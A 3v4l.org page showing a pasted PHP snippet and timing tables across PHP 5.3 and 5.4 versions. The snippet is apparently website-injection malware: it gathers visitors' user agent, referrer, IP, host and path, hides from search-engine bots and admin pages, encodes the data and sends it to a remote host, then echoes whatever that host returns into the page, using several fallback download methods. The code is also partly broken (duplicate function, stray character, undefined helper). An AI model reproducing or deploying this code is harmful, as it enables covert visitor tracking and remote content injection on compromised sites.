3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); d $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.320.0080.03612.50
5.4.310.0040.04312.49
5.4.300.0070.03612.50
5.4.290.0050.03812.49
5.4.280.0050.03512.39
5.4.270.0070.03712.39
5.4.260.0090.03812.39
5.4.250.0070.03812.39
5.4.240.0080.04112.38
5.4.230.0160.03612.37
5.4.220.0100.03912.37
5.4.210.0100.03912.37
5.4.200.0090.04212.37
5.4.190.0110.03812.37
5.4.180.0080.04512.37
5.4.170.0140.03612.38
5.4.160.0090.04312.37
5.4.150.0120.04612.37
5.4.140.0130.04312.06
5.4.130.0100.04012.04
5.4.120.0130.04312.00
5.4.110.0110.04112.00
5.4.100.0240.06412.00
5.4.90.0130.04512.00
5.4.80.0140.04212.00
5.4.70.0190.06512.00
5.4.60.0120.04112.00
5.4.50.0150.06711.99
5.4.40.0140.03911.98
5.4.30.0120.04111.98
5.4.20.0090.04511.98
5.4.10.0120.04111.98
5.4.00.0160.06711.47
5.3.290.0050.04112.80
5.3.280.0140.04212.71
5.3.270.0130.04312.72
5.3.260.0230.06412.72
5.3.250.0120.04312.72
5.3.240.0120.04312.72
5.3.230.0130.04112.71
5.3.220.0110.04512.68
5.3.210.0130.04312.68
5.3.200.0110.04312.68
5.3.190.0130.04112.68
5.3.180.0160.03912.67
5.3.170.0130.04512.67
5.3.160.0120.04112.67
5.3.150.0160.03912.67
5.3.140.0140.04112.66
5.3.130.0140.04312.66
5.3.120.0140.04612.66
5.3.110.0120.04712.66
5.3.100.0110.04612.12
5.3.90.0160.03912.08
5.3.80.0230.06712.08
5.3.70.0140.04312.08
5.3.60.0140.03812.06
5.3.50.0120.04212.00
5.3.40.0110.04112.00
5.3.30.0100.03911.94
5.3.20.0120.03911.71
5.3.10.0100.03811.68
5.3.00.0120.03811.66

preferences:
135.37 ms | 1394 KiB | 7 Q